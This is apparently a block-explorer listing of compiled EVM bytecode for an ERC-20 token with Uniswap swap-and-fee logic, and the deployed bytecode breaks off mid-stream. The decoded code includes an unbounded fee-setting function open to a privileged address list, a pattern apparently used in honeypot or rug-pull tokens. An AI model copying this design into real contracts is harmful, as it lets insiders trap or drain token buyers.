5b61090661166a565b61091060006116e8565b565b60106020528060005260406000206000915054906101000a900460ff1681565b600115156010600061094261102b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461099657600080fd5b81600781905550806008819055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546109e090612408565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0c90612408565b8015610a595780601f10610a2e57610100808354040283529160200191610a59565b820191906000526020600020905b815481529060010190602001808311610a3c57829003601f168201915b5050505050905090565b6000610b26610a7061102b565b84610b2185604051806060016040528060258152602001612bcd60259139600f6000610a9a61102b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ff9092919063ffffffff16565b611033565b6001905092915050565b6000610b44610b3d61102b565b84846111c7565b6001905092915050565b610b5661166a565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bde919061244e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c45573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c69919061244e565b6040518363ffffffff1660e01b8152600401610c8692919061247b565b6020604051808303816000875af1158015610ca5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc9919061244e565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d7a306108b5565b611033565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610dc8306108b5565b600080610dd36109a8565b426040518863ffffffff1660e01b8152600401610df5969594939291906124df565b60606040518083038185885af1158015610e13573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e389190612555565b505050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610eda9291906125a8565b6020604051808303816000875af1158015610ef9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1d91906125fd565b5050565b6000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fb061166a565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361101f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110169061269c565b60405180910390fd5b611028816116e8565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561109d5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d390612708565b60405180910390fd5b80600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ba919061225d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112315750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611270576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126790612774565b60405180910390fd5b600081116112b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112aa90612806565b60405180910390fd5b600560019054906101000a900460ff1660ff16600560009054906101000a900460ff1660ff16101580156112f45750600e60149054906101000a900460ff16155b801561134e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113665750600e60159054906101000a900460ff165b156113a9576000600560006101000a81548160ff021916908360ff1602179055506000611392306108b5565b905060008111156113a7576113a6816117ac565b5b505b600060019050601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114505750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061151b5750601360149054906101000a900460ff1680156114c05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561152957600090506115ed565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361158c576007546006819055506115ec565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115eb576008546006819055505b5b5b6115f984848484611820565b50505050565b6000838311158290611647576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163e91906120a3565b60405180910390fd5b5082840390509392505050565b600081836116629190612855565b905092915050565b61167261102b565b73ffffffffffffffffffffffffffffffffffffffff166116906109a8565b73ffffffffffffffffffffffffffffffffffffffff16146116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116dd906128f7565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600e60146101000a81548160ff0219169083151502179055506117d08161188a565b6000479050611801601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611acd565b506000600e60146101000a81548160ff02191690831515021790555050565b806118325761182d611b18565b61186b565b6005600081819054906101000a900460ff168092919061185190612917565b91906101000a81548160ff021916908360ff160217905550505b611876848484611b74565b8061188457611883611f92565b5b50505050565b6000600267ffffffffffffffff8111156118a7576118a6612940565b5b6040519080825280602002602001820160405280156118d55781602001602082028036833780820191505090505b50905030816000815181106118ed576118ec61296f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611994573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119b8919061244e565b816001815181106119cc576119cb61296f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a3330600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611033565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611a97959493929190612a5c565b600060405180830381600087803b158015611ab157600080fd5b505af1158015611ac5573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b13573d6000803e3d6000fd5b505050565b6000600654148015611b2c57506000600754145b8015611b3a57506000600854145b611b7257600754600a81905550600854600b819055506006546009819055506000600781905550600060088190555060006006819055505b565b6000601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611bce576000611bd2565b6011545b9050601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d5557611c7882600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611faf90919063ffffffff16565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d0d81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165490919063ffffffff16565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f8c565b600080611d6184611fc5565b91509150611db784600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611faf90919063ffffffff16565b600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4c82600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165490919063ffffffff16565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ee181600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165490919063ffffffff16565b600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f81919061225d565b60405180910390a350505b50505050565b600954600681905550600a54600781905550600b54600881905550565b60008183611fbd9190612ab6565b905092915050565b6000806000606460065485611fda9190612aea565b611fe49190612b73565b90506000611ffb8286611faf90919063ffffffff16565b90508082935093505050915091565b600081519050919050565b600082825260208201905092915050565b60005b83811015612044578082015181840152602081019050612029565b83811115612053576000848401525b50505050565b6000601f19601f8301169050919050565b60006120758261200a565b61207f8185612015565b935061208f818560208601612026565b61209881612059565b840191505092915050565b600060208201905081810360008301526120bd818461206a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120f5826120ca565b9050919050565b612105816120ea565b811461211057600080fd5b50565b600081359050612122816120fc565b92915050565b6000819050919050565b61213b81612128565b811461214657600080fd5b50565b60008135905061215881612132565b92915050565b60008060408385031215612175576121746120c5565b5b600061218385828601612113565b925050602061219485828601612149565b9150509250929050565b60008115159050919050565b6121b38161219e565b82525050565b60006020820190506121ce60008301846121aa565b92915050565b6000819050919050565b60006121f96121f46121ef846120ca565b6121d4565b6120ca565b9050919050565b600061220b826121de565b9050919050565b600061221d82612200565b9050919050565b61222d81612212565b82525050565b60006020820190506122486000830184612224565b92915050565b61225781612128565b82525050565b6000602082019050612272600083018461224e565b92915050565b600080600060608486031215612291576122906120c5565b5b600061229f86828701612113565b93505060206122b086828701612113565b92505060406122c186828701612149565b9150509250925092565b600060ff82169050919050565b6122e1816122cb565b82525050565b60006020820190506122fc60008301846122d8565b92915050565b61230b816120ea565b82525050565b60006020820190506123266000830184612302565b92915050565b600060208284031215612342576123416120c5565b5b600061235084828501612113565b91505092915050565b600080604083850312156123705761236f6120c5565b5b600061237e85828601612149565b925050602061238f85828601612149565b9150509250929050565b600080604083850312156123b0576123af6120c5565b5b60006123be85828601612113565b92505060206123cf85828601612113565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061242057607f821691505b602082108103612433576124326123d9565b5b50919050565b600081519050612448816120fc565b92915050565b600060208284031215612464576124636120c5565b5b600061247284828501612439565b91505092915050565b60006040820190506124906000830185612302565b61249d6020830184612302565b9392505050565b6000819050919050565b60006124c96124c46124bf846124a4565b6121d4565b612128565b9050919050565b6124d9816124ae565b82525050565b600060c0820190506124f46000830189612302565b612501602083018861224e565b61250e60408301876124d0565b61251b60608301866124d0565b6125286080830185612302565b61253560a083018461224e565b979650505050505050565b60008151905061254f81612132565b92915050565b60008060006060848603121561256e5761256d6120c5565b5b600061257c86828701612540565b935050602061258d86828701612540565b925050604061259e86828701612540565b9150509250925092565b60006040820190506125bd6000830185612302565b6125ca602083018461224e565b9392505050565b6125da8161219e565b81146125e557600080fd5b50565b6000815190506125f7816125d1565b92915050565b600060208284031215612613576126126120c5565b5b6000612621848285016125e8565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612686602683612015565b91506126918261262a565b604082019050919050565b600060208201905081810360008301526126b581612679565b9050919050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b60006126f2601183612015565b91506126fd826126bc565b602082019050919050565b60006020820190508181036000830152612721816126e5565b9050919050565b7f4552523a205573696e6720302061646472657373210000000000000000000000600082015250565b600061275e601583612015565b915061276982612728565b602082019050919050565b6000602082019050818103600083015261278d81612751565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e2060008201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b60006127f0602583612015565b91506127fb82612794565b604082019050919050565b6000602082019050818103600083015261281f816127e3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061286082612128565b915061286b83612128565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156128a05761289f612826565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006128e1602083612015565b91506128ec826128ab565b602082019050919050565b60006020820190508181036000830152612910816128d4565b9050919050565b6000612922826122cb565b915060ff820361293557612934612826565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6129d3816120ea565b82525050565b60006129e583836129ca565b60208301905092915050565b6000602082019050919050565b6000612a098261299e565b612a1381856129a9565b9350612a1e836129ba565b8060005b83811015612a4f578151612a3688826129d9565b9750612a41836129f1565b925050600181019050612a22565b5085935050505092915050565b600060a082019050612a71600083018861224e565b612a7e60208301876124d0565b8181036040830152612a9081866129fe565b9050612a9f6060830185612302565b612aac608083018461224e565b9695505050505050565b6000612ac182612128565b9150612acc83612128565b925082821015612adf57612ade612826565b5b828203905092915050565b6000612af582612128565b9150612b0083612128565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b3957612b38612826565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612b7e82612128565b9150612b8983612128565b925082612b9957612b98612b44565b5b82820490509291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a7102e639f2a8dcbbc7f54089a9c6c05d04819642703d67d5781cfe66912c16964736f6c634300080d0033000000000000000000000000000072cb5bd86321e38cb6ce6682e80000000000

Deployed Bytecode

0x60806040526004361061014f5760003560e01c80634a74bb02116100b657806395d89b411161006f57806395d89b41146104a5578063a457c2d7146104d0578063a9059cbb1461050d578063c9567bf91461054a578063dd62ed3e14610561578063f2fde38b1461059e57610156565b80634a74bb021461039557806370a08231146103c0578063715018a6146103fd578063772521511461041457806382116718146104515780638da5cb5b1461047a57610156565b8063220f669611610108578063220f66961461026f57806323b872dd1461029a578063313ce567146102d75780633950935114610302578063411adcb61461033f57806349bd5a5e1461036a57610156565b806306fdde031461015b578063095ea7b31461018657806313fad07a146101c35780631694505e146101ee57806318160ddd146102195780631e62d5241461024457610156565b3661015657005b600080fd5b34801561016757600080fd5b506101706105c7565b60405161017d91906120a3565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a8919061215e565b610659565b6040516101ba91906121b9565b60405180910390f35b3480156101cf57600080fd5b506101d8610677565b6040516101e591906121b9565b60405180910390f35b3480156101fa57600080fd5b5061020361068a565b6040516102109190612233565b60405180910390f35b34801561022557600080fd5b5061022e6106b0565b60405161023b919061225d565b60405180910390f35b34801561025057600080fd5b506102596106ba565b604051610266919061225d565b60405180910390f35b34801561027b57600080fd5b506102846106c0565b60405161029191906121b9565b60405180910390f35b3480156102a657600080fd5b506102c160048036038101906102bc9190612278565b6106d3565b6040516102ce91906121b9565b60405180910390f35b3480156102e357600080fd5b506102ec6107ac565b6040516102f991906122e7565b60405180910390f35b34801561030e57600080fd5b506103296004803603810190610324919061215e565b6107c3565b60405161033691906121b9565b60405180910390f35b34801561034b57600080fd5b50610354610876565b604051610361919061225d565b60405180910390f35b34801561037657600080fd5b5061037f61087c565b60405161038c9190612311565b60405180910390f35b3480156103a157600080fd5b506103aa6108a2565b6040516103b791906121b9565b60405180910390f35b3480156103cc57600080fd5b506103e760048036038101906103e2919061232c565b6108b5565b6040516103f4919061225d565b60405180910390f35b34801561040957600080fd5b506104126108fe565b005b34801561042057600080fd5b5061043b6004803603810190610436919061232c565b610912565b60405161044891906121b9565b60405180910390f35b34801561045d57600080fd5b5061047860048036038101906104739190612359565b610932565b005b34801561048657600080fd5b5061048f6109a8565b60405161049c9190612311565b60405180910390f35b3480156104b157600080fd5b506104ba6109d1565b6040516104c791906120a3565b60405180910390f35b3480156104dc57600080fd5b506104f760048036038101906104f2919061215e565b610a63565b60405161050491906121b9565b60405180910390f35b34801561051957600080fd5b50610534600480360381019061052f919061215e565b610b30565b60405161054191906121b9565b60405180910390f35b34801561055657600080fd5b5061055f610b4e565b005b34801561056d57600080fd5b5061058860048036038101906105839190612399565b610f21565b604051610595919061225d565b60405180910390f35b3480156105aa57600080fd5b506105c560048036038101906105c0919061232c565b610fa8565b005b6060600180546105d690612408565b80601f016020809104026020016040519081016040528092919081815260200182805461060290612408565b801561064f5780601f106106245761010080835404028352916020019161064f565b820191906000526020600020905b81548152906001019060200180831161063257829003601f168201915b5050505050905090565b600061066d61066661102b565b8484611033565b6001905092915050565b601360149054906101000a900460ff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600454905090565b60075481565b600e60149054906101000a900460ff1681565b60006106e08484846111c7565b6107a1846106ec61102b565b61079c85604051806060016040528060288152602001612ba560289139600f60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061075261102b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ff9092919063ffffffff16565b611033565b600190509392505050565b6000600360009054906101000a900460ff16905090565b600061086c6107d061102b565b8461086785600f60006107e161102b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165490919063ffffffff16565b611033565b6001905092915050565b60085481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e60159054906101000a900460ff1681565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61090661166a565b61091060006116e8565b565b60106020528060005260406000206000915054906101000a900460ff1681565b600115156010600061094261102b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461099657600080fd5b81600781905550806008819055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546109e090612408565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0c90612408565b8015610a595780601f10610a2e57610100808354040283529160200191610a59565b820191906000526020600020905b815481529060010190602001808311610a3c57829003601f168201915b5050505050905090565b6000610b26610a7061102b565b84610b2185604051806060016040528060258152602001612bcd60259139600f6000610a9a61102b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ff9092919063ffffffff16565b611033565b6001905092915050565b6000610b44610b3d61102b565b84846111c7565b6001905092915050565b610b5661166a565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bde919061244e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c45573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c69919061244e565b6040518363ffffffff1660e01b8152600401610c8692919061247b565b6020604051808303816000875af1158015610ca5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc9919061244e565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d7a306108b5565b611033565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610dc8306108b5565b600080610dd36109a8565b426040518863ffffffff1660e01b8152600401610df5969594939291906124df565b60606040518083038185885af1158015610e13573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e389190612555565b505050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610eda9291906125a8565b6020604051808303816000875af1158015610ef9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1d91906125fd565b5050565b6000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fb061166a565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361101f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110169061269c565b60405180910390fd5b611028816116e8565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561109d5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d390612708565b60405180910390fd5b80600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ba919061225d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112315750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611270576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126790612774565b60405180910390fd5b600081116112b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112aa90612806565b60405180910390fd5b600560019054906101000a900460ff1660ff16600560009054906101000a900460ff1660ff16101580156112f45750600e60149054906101000a900460ff16155b801561134e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113665750600e60159054906101000a900460ff165b156113a9576000600560006101000a81548160ff021916908360ff1602179055506000611392306108b5565b905060008111156113a7576113a6816117ac565b5b505b600060019050601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114505750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061151b5750601360149054906101000a900460ff1680156114c05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561152957600090506115ed565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361158c576007546006819055506115ec565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115eb576008546006819055505b5b5b6115f984848484611820565b50505050565b6000838311158290611647576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163e91906120a3565b60405180910390fd5b5082840390509392505050565b600081836116629190612855565b905092915050565b61167261102b565b73ffffffffffffffffffffffffffffffffffffffff166116906109a8565b73ffffffffffffffffffffffffffffffffffffffff16146116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116dd906128f7565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600e60146101000a81548160ff0219169083151502179055506117d08161188a565b6000479050611801601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611acd565b506000600e60146101000a81548160ff02191690831515021790555050565b806118325761182d611b18565b61186b565b6005600081819054906101000a900460ff168092919061185190612917565b91906101000a81548160ff021916908360ff160217905550505b611876848484611b74565b8061188457611883611f92565b5b50505050565b6000600267ffffffffffffffff8111156118a7576118a6612940565b5b6040519080825280602002602001820160405280156118d55781602001602082028036833780820191505090505b50905030816000815181106118ed576118ec61296f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611994573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119b8919061244e565b816001815181106119cc576119cb61296f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a3330600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611033565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611a97959493929190612a5c565b600060405180830381600087803b158015611ab157600080fd5b505af1158015611ac5573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b13573d6000803e3d6000fd5b505050565b6000600654148015611b2c57506000600754145b8015611b3a57506000600854145b611b7257600754600a81905550600854600b819055506006546009819055506000600781905550600060088190555060006006819055505b565b6000601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611bce576000611bd2565b6011545b9050601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d5557611c7882600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611faf90919063ffffffff16565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d0d81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165490919063ffffffff16565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f8c565b600080611d6184611fc5565b91509150611db784600c60008973fffffffffffffffff